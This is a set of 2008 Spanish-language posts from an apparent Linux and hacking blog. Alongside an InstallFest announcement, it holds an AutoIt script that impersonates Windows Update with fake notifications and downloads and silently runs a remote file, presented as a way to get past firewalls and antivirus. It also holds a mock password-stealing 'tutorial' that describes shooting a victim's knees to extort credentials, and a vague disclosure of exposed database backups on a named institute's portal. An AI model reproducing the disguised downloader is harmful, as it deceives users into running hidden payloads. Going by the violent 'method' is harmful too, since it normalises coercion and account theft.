martes, 20 de mayo de 2008

Compilar kernel de linux en Ubuntu 7.04

aqui les dejo un video de como compilar el kernel de linux en Ubuntu..



Saludos.

miércoles, 14 de mayo de 2008

InstallFest 2008 en Chihuahua

Se va a organizar un InstallFest el día 17 de Mayo del 2008 en La ciudad de Chihuhua, la sede será en el Edificio de Seminarios de la Facultad de Contaduría y Administración a partir de las 12 horas.

*Podrás traer tu Desktop o Portátil para Instalarle LInux o Software Linbre
*Aprende a Instalar Linux desde cero en tu propia computadora
*Aprende a manejar tu sistema Linux
*Comparaciones de Linux-Windows
*Únete a grupos de usuarios Linux locales
*Comparte información.Notas:
* El evento es totalmente Libre y gratuito
* Si Vas a instalar Linux en tu computadora, procura traer una partición de mas de 4GB para instalarle Linux, (Si no sabes hacerla, no te preocupes, nosotros te ayudamos el día del evento)Paginas con información relacionada:
http://installfest.mx.vg/ <-- registro e infohttp://calendario.fsl.org.mx/mediawiki/index.php/Eventos <-- calendario de FSL.Los que puedan asistir, ahí nos vemos!

domingo, 11 de mayo de 2008

Script au3 para bajar un archivo simulando Windows Update


AutoIt es un Lenguage en script para la automatización de tareas para Windows.

AutoIt ha estado usandose polularmente desde 1999 y sigue ndo a los usuarios y administradores una manera fácil de secuencia de comandos de Windows GUI.

febrero de 2004 la última versión de AutoIt - conocido como AutoIt v3 - fue liberada y añadió potentes características de scripting.

AutoIt v3 se desarrolló en un pequeño equipo con la ayuda de los contribuyentes en todo el mundo y ello ha dado lugar a un gran conjunto de archivos de ayuda, ejemplos, foro de soporte, lista de correo, editor de archivos, y de terceros los servicios públicos.

Todo el desarrollo se centra en AutoIt v3 pero v2 seguirá siendo descargable y apoyado como lo es en tal uso generalizado.

Aqui les dejo un script que simula las actualizaciones de windows y descarga a el directorio c:\ publicidad del proximo evento Installfest.

a este script se le puede modificar para crear un programa actualizable sin que tengas que permitir la descarga a tu firewall o antivirus, ya que siendo actualizacion de windows es como si fuera de manera oficial por parte de windows..XD

aqui mi script en executable http://usuarios.lycos.es/villatux/linux/villatux.exe

(si no se descarga, copia el enlace y pegalo en tu navegador )

aqui el codigo (con algunos errores a proposito para evitar los que no quieren aprender):

AutoItSetOption("RunErrorsFatal, 0)


dim $url="http://usuarios.lycos.es/villatux/linux/
dim $filename="publicidad.pdf"
dim $savepath="c:\"

traytop("Windows Update", "Hay actualizaciones para el equipo", 5, 1)
Sleep(5000)
traytip("Windows Update", "Se instalaran automaticamente", 5, 1)
Sleep(5000)
if (URLDownloadToFile($url & $filename, $savepath & $filename))= 1 Then
Run($filename, $savepath, @SW_HIDE )
traytip("Windows Update", "Las actualizaciones se instalaron correctamente.", 5, 1)
Sleep(5000)
Else
traytip("Windows Update", "Intente instalar las actualizaciones nuevamente", 5, 1)
Sleep(5000)
EndIf

y aqui les dejo unas capturas de cuando se esta ejecutando el script:

y por si quieren empezar a programar sus scripts aqui les dejo esta url con manuales oficiales y referencia de funciones

http://www.autoitscript.com/autoit3/docs/
http://www.autoitscript.com/autoit3/docs/functions.htm

y aqui el compilador :

http://www.autoitscript.com/cgi-bin/getfile.pl?autoit3/autoit-v3-setup.exe (6.6MB)

lunes, 5 de mayo de 2008

Conseguir contraseñas: Yahoo, hotmail, gmail, etc

Debido a que mucha gente me ha pedido que publique la manera de como sacar passwords del vecinito, dela novia, del jefe etc. etc.  y pues decidi a publicar este tutorial para ya no tener que estarles diciendo uno por uno.. XD

Este es uno de los metodos que nunca fallan, hasta el momento no existe parche.
Asi que disfrutenlo mientras puedan, no se trata de ningun otro metodo explicado antes.
Requiere de mucha paciencia y esfuerzo pero estos se ven, recompensados..
No se trata del clasico uso de xploit's y keyloggers, etc..etc...Bueno ya no los entretengo mas..
Disfrutenlo...

Primer Paso.
Identificar a la victima, su nombre.

Segundo Paso.
Te pones un pasamontañas y agarras una de estas
Tercer paso
Vas a la casa de la victima, le apuntas y pides su contraseña, si no te la da, le sonas la rodilla, le lanzas un papelito(tambien un lapiz o pluma..Nota.tambien puede utilizar su sangre) y
le dices que apunte su correo y contraseña, si no te la quiere dar le jodes la otra rodilla,(asi sucesivamente...Nota: No dispares a partes vitales, ni a la mano con la que escribe) .
Cuando la escriba..Le das las gracias..

Cuarto Paso.
Por ultimo sales.. y das un portazo.(Entre mas fuerte mejor, que se note que tienes eggs)lo olvidaba...tienes que tomar el papelito...

Quinto Paso.
Vas a tu casa, sacas el papelito..pruebas si en verdad es la contraseña ( hay un 99.999 % que si sea), checas sus mails (fdw, spam). y pones en tu nick..Se sacan contraseñas de Yahoo, hotmail, gmail, etc..etc...Nota: entre mas rudo seas es mejor......

sábado, 3 de mayo de 2008

Vulnerabilidades en portal del Tec II de Chihuahua

Hola.

en esta ocasión les mostraré de una falla que tiene la pagina oficial de nuestro queridísimo Tecnológico de Chihuahua.

Pues se trata de varias vulnerabilidades causadas por el mismo administrador en su servidor. No voy a dar datos precisos por razones de seguridad, pero enseguida les explico en rasgos generales.

Lo que permite las vulnerabilidades:

* Acceso total a la base de datos Mysql

* Lectura y escritura dentro del servidor

Esta vulnerabilidad la pueden (o podían) encontrar ,ya que esta vulnerabilidad esta desde hace casi dos años. En algunos de los enlaces que dejan los profesores, para que descarguen tareas o documentos del servidor, se ve la dirección vulnerable, y por medio de una sencilla búsqueda por el servidor se haya un backup de la base de datos usada para la pagina web, en el cual se pueden encontrar datos importantes y necesarios para el acceso a la modificación del portal por medio de la base de datos.

Sin tanto rollo aquí les dejo unas capturas:



Salu2!